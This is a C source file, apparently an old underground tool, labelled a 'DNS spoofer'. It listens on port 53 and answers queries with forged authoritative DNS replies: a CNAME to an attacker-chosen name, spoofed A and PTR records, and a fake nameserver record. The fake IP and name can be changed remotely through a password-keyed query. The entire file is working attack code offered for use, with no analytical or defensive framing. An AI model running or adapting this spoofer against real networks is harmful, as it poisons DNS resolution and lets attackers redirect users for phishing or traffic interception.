|
/* injection.c DNS spoofer by savage@apostols.org 30/May/1997 based on jizz.c by teak@ib6ub9.com */ #include <stdio.h> #include <stdlib.h> #include <stdarg.h> #include <strings.h> #include <errno.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <signal.h> #define MAXBUFSIZE 64*1024 #define DEFAULT_TTL 60*5 #define DC_A 1 #define DC_NS 2 #define DC_CNAME 5 #define DC_SOA 6 #define DC_WKS 11 #define DC_PTR 12 #define DC_HINFO 13 #define DC_MINFO 14 #define DC_MX 15 #define DC_TXT 16 typedef struct { unsigned short id; unsigned char rd:1; /* recursion desired */ unsigned char tc:1; /* truncated message */ unsigned char aa:1; /* authoritive answer */ unsigned char opcode:4; /* purpose of message */ unsigned char qr:1; /* response flag */ unsigned char rcode:4; /* response code */ unsigned char unused:2; /* unused bits */ unsigned char pr:1; /* primary server required (non standard) */ unsigned char ra:1; /* recursion available */ unsigned short qdcount; unsigned short ancount; unsigned short nscount; unsigned short arcount; } dnsheaderrec; typedef struct { unsigned short labellen; char label[256]; unsigned short type; unsigned short class; unsigned long ttl; unsigned short buflen; char buf[256]; } dnsrrrec; typedef struct { dnsheaderrec h; dnsrrrec qd[20]; dnsrrrec an[20]; dnsrrrec ns[20]; dnsrrrec ar[20]; } dnsrec; char *dnssprintflabel (char *s, char *buf, char *p); char *dnsaddlabel (char *p, char *label); void dnstxt2rr (dnsrrrec * rr, char *b); void dnsbuildpacket (dnsrec * dns, short qdcount, short ancount, short nscount, short arcount,...); char *dnsaddbuf (char *p, void *buf, short len); int dnsmakerawpacket (dnsrec * dns, char *buf); unsigned long default_ttl; unsigned long rev_long (l) unsigned long l; { unsigned long i = 0; int n = sizeof (i); while (n--) { i = (i << 8) | (l & 255); l >>= 8; } return i; } char * dnssprintflabel (char *s, char *buf, char *p) { unsigned short i, len; char *b = NULL; len = (unsigned short) *(p++); while (len) { while (len >= 0xC0) { if (!b) b = p + 1; p = buf + (ntohs (*((unsigned short *) (p - 1))) & ~0xC000); len = (unsigned short) *(p++); } for (i = 0; i < len; i++) *(s++) = *(p++); *(s++) = '.'; len = (unsigned short) *(p++); } *(s++) = 0; if (b) return (b); return (p); } char * dnsaddlabel (char *p, char *label) { char *p1; while ((*label) && (label)) { if ((*label == '.') && (!*(label + 1))) break; p1 = strchr (label, '.'); if (!p1) p1 = strchr (label, 0); *(p++) = p1 - label; memcpy (p, label, p1 - label); p += p1 - label; label = p1; if (*p1) label++; } *(p++) = 0; return (p); } void dnstxt2rr (dnsrrrec * rr, char *b) { char *tok[20], *p; unsigned short numt = 0, i; static char *buf = NULL; if (!buf) { if ((buf = malloc (1024)) == NULL) { perror ("malloc"); exit (-1); } } strcpy (buf, b); p = strtok (buf, " \t"); do { tok[numt++] = p; } while (p = strtok (NULL, " \t")); p = dnsaddlabel (rr->label, tok[0]); rr->labellen = p - rr->label; i = 1; if (isdigit (*tok[i])) rr->ttl = htonl (atol (tok[i++])); else rr->ttl = htonl (default_ttl); if (strcmp (tok[i], "IN") == 0) i++; rr->class = htons (1); if (strcmp (tok[i], "A") == 0) { i++; rr->type = htons (DC_A); if (i < numt) { inet_aton (tok[i], rr->buf); rr->buflen = 4; } else rr->buflen = 0; return; } if (strcmp (tok[i], "CNAME") == 0) { i++; rr->type = htons (DC_CNAME); if (i < numt) { p = dnsaddlabel (rr->buf, tok[i]); rr->buflen = p - rr->buf; } else rr->buflen = 0; return; } if (strcmp (tok[i], "NS") == 0) { i++; rr->type = htons (DC_NS); if (i < numt) { p = dnsaddlabel (rr->buf, tok[i]); rr->buflen = p - rr->buf; } else rr->buflen = 0; return; } if (strcmp (tok[i], "PTR") == 0) { i++; rr->type = htons (DC_PTR); if (i < numt) { p = dnsaddlabel (rr->buf, tok[i]); rr->buflen = p - rr->buf; } else rr->buflen = 0; return; } if (strcmp (tok[i], "MX") == 0) { i++; rr->type = htons (DC_MX); if (i < numt) { p = rr->buf; *((unsigned short *) p) = htons (atoi (tok[i++])); p += 2; p = dnsaddlabel (p, tok[i]); rr->buflen = p - rr->buf; } else rr->buflen = 0; return; } } void dnsbuildpacket (dnsrec * dns, short qdcount, short ancount, short nscount, short arcount,...) { int i; va_list va; dns->h.qdcount = htons (qdcount); dns->h.ancount = htons (ancount); dns->h.nscount = htons (nscount); dns->h.arcount = htons (arcount); dns->h.rcode = 0; va_start (va, arcount); for (i = 0; i < qdcount; i++) dnstxt2rr (&dns->qd[i], va_arg (va, char *)); for (i = 0; i < ancount; i++) dnstxt2rr (&dns->an[i], va_arg (va, char *)); for (i = 0; i < nscount; i++) dnstxt2rr (&dns->ns[i], va_arg (va, char *)); for (i = 0; i < arcount; i++) dnstxt2rr (&dns->ar[i], va_arg (va, char *)); va_end (va); } char * dnsaddbuf (char *p, void *buf, short len) { memcpy (p, buf, len); return (p + len); } int dnsmakerawpacket (dnsrec * dns, char *buf) { char *p; int i; unsigned short len; memcpy (buf, &dns->h, sizeof (dnsheaderrec)); p = buf + sizeof (dnsheaderrec); /********** Query ***********/ for (i = 0; i < ntohs (dns->h.qdcount); i++) { p = dnsaddbuf (p, dns->qd[i].label, dns->qd[i].labellen); p = dnsaddbuf (p, &dns->qd[i].type, 2); p = dnsaddbuf (p, &dns->qd[i].class, 2); } /********** Answer ***********/ for (i = 0; i < ntohs (dns->h.ancount); i++) { p = dnsaddbuf (p, dns->an[i].label, dns->an[i].labellen); p = dnsaddbuf (p, &dns->an[i].type, 2); p = dnsaddbuf (p, &dns->an[i].class, 2); p = dnsaddbuf (p, &dns->an[i].ttl, 4); len = htons (dns->an[i].buflen); p = dnsaddbuf (p, &len, 2); p = dnsaddbuf (p, dns->an[i].buf, dns->an[i].buflen); } /********** Nameservers ************/ for (i = 0; i < ntohs (dns->h.nscount); i++) { p = dnsaddbuf (p, dns->ns[i].label, dns->ns[i].labellen); p = dnsaddbuf (p, &dns->ns[i].type, 2); p = dnsaddbuf (p, &dns->ns[i].class, 2); p = dnsaddbuf (p, &dns->ns[i].ttl, 4); len = htons (dns->ns[i].buflen); p = dnsaddbuf (p, &len, 2); p = dnsaddbuf (p, dns->ns[i].buf, dns->ns[i].buflen); } /********** Additional ************/ for (i = 0; i < ntohs (dns->h.arcount); i++) { p = dnsaddbuf (p, dns->ar[i].label, dns->ar[i].labellen); p = dnsaddbuf (p, &dns->ar[i].type, 2); p = dnsaddbuf (p, &dns->ar[i].class, 2); p = dnsaddbuf (p, &dns->ar[i].ttl, 4); len = htons (dns->ar[i].buflen); p = dnsaddbuf (p, &len, 2); p = dnsaddbuf (p, dns->ar[i].buf, dns->ar[i].buflen); } return (p - buf); } #define BFSIZE 1024 void main (int argc, char *argv[]) { int sock, fromlen, numread, len, query; struct sockaddr_in sa, from, to; struct in_addr rev; char *buf, *sendbuf; char *domainnamebuf; dnsheaderrec *dns; char *p; dnsrec dnsh; char *beginhost_QD, *beginhost_A, *beginhost_srch; char *fakenshost_A, *fakens_DOM; char *spoofedip_A, *spoofedip_PTR, *spoofedip_rev; char *pid_named; char FAKEIP[BFSIZE] = "194.179.44.64", FAKENAME[BFSIZE] = "The.Lammerz.Houze"; char mybuff[BFSIZE], *bp = NULL; if (argc < 2) { printf ("usage: \n%s <password>\n"); exit (-1); } if ((beginhost_QD = malloc (BFSIZE)) == NULL) { perror ("malloc"); exit (-1); } if ((beginhost_A = malloc (BFSIZE)) == NULL) { perror ("malloc"); exit (-1); } if ((beginhost_srch = malloc (BFSIZE)) == NULL) { perror ("malloc"); exit (-1); } if ((fakenshost_A = malloc (BFSIZE)) == NULL) { perror ("malloc"); exit (-1); } if ((fakens_DOM = malloc (BFSIZE)) == NULL) { perror ("malloc"); exit (-1); } if ((spoofedip_A = malloc (BFSIZE)) == NULL) { perror ("malloc"); exit (-1); } if ((spoofedip_PTR = malloc (BFSIZE)) == NULL) { perror ("malloc"); exit (-1); } if ((spoofedip_rev = malloc (BFSIZE)) == NULL) { perror ("malloc"); exit (-1); } if ((buf = malloc (MAXBUFSIZE)) == NULL) { perror ("malloc"); exit (-1); } if ((sendbuf = malloc (MAXBUFSIZE)) == NULL) { perror ("malloc"); exit (-1); } if ((domainnamebuf = malloc (MAXBUFSIZE)) == NULL) { perror ("malloc"); exit (-1); } if ((sock = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) { perror ("socket"); exit (-1); } sa.sin_family = AF_INET; /* sa.sin_addr.s_addr = inet_addr(DEFAULTBINDHOST); */ sa.sin_addr.s_addr = INADDR_ANY; sa.sin_port = htons (53); if (bind (sock, (struct sockaddr *) &sa, sizeof (sa)) < 0) { perror ("bind"); exit (-1); } setvbuf (stdout, NULL, _IONBF, 0); while (1) { fromlen = sizeof (from); if ((numread = recvfrom (sock, buf, MAXBUFSIZE, 0, (struct sockaddr *) &from, &fromlen)) < 0) { perror ("recvfrom"); continue; } /* Kludge to stop that damn router */ if (from.sin_addr.s_addr == inet_addr ("194.179.44.2")) continue; dns = (dnsheaderrec *) buf; if (dns->qr) continue; p = dnssprintflabel (domainnamebuf, buf, &buf[sizeof (dnsheaderrec)]); query = ntohs (*(unsigned short *) p); strcpy (mybuff, domainnamebuf); bp = strtok (mybuff, "@"); if (bp && *domainnamebuf == '@' && !strcmp (argv[1], bp)) { bp = strtok (NULL, "@"); if (bp) strncpy (FAKEIP, bp, BFSIZE - 1); bp = strtok (NULL, "@"); if (bp) strncpy (FAKENAME, bp, BFSIZE - 1); printf ("FakeIP: %s FakeNAME: %s\n", FAKEIP, FAKENAME); } strcpy (beginhost_srch, "."); snprintf (fakenshost_A, BFSIZE - 1, "ns.%s IN A 6.6.6.6", FAKENAME); snprintf (fakens_DOM, BFSIZE - 1, "%s IN NS ns.%s", FAKENAME, FAKENAME); snprintf (spoofedip_A, BFSIZE - 1, "%s IN A %s", FAKENAME, FAKEIP); rev.s_addr = rev_long (inet_addr (FAKEIP)); snprintf (spoofedip_PTR, BFSIZE - 1, "%s.IN-ADDR.ARPA IN PTR %s", (char *) inet_ntoa (rev.s_addr), FAKENAME); default_ttl = DEFAULT_TTL; printf ("from %s : %d : '%s' (%d)\n", inet_ntoa (from.sin_addr), ntohs (from.sin_port), domainnamebuf, query); snprintf (beginhost_QD, BFSIZE - 1, "%s IN", domainnamebuf); snprintf (beginhost_A, BFSIZE - 1, "%s 1 IN CNAME %s", domainnamebuf, FAKENAME); dnsbuildpacket (&dnsh, 1, 4, 1, 0, beginhost_QD, beginhost_A, spoofedip_A, spoofedip_PTR, fakenshost_A, fakens_DOM); dnsh.qd[0].type = htons (query); dnsh.h.id = ((dnsheaderrec *) buf)->id; dnsh.h.qr = 1; dnsh.h.aa = 1; len = dnsmakerawpacket (&dnsh, sendbuf); to.sin_family = AF_INET; to.sin_addr.s_addr = from.sin_addr.s_addr; to.sin_port = from.sin_port; if (sendto (sock, sendbuf, len, 0, (struct sockaddr *) &to, sizeof (to)) < 0) { perror ("sendto"); continue; } } }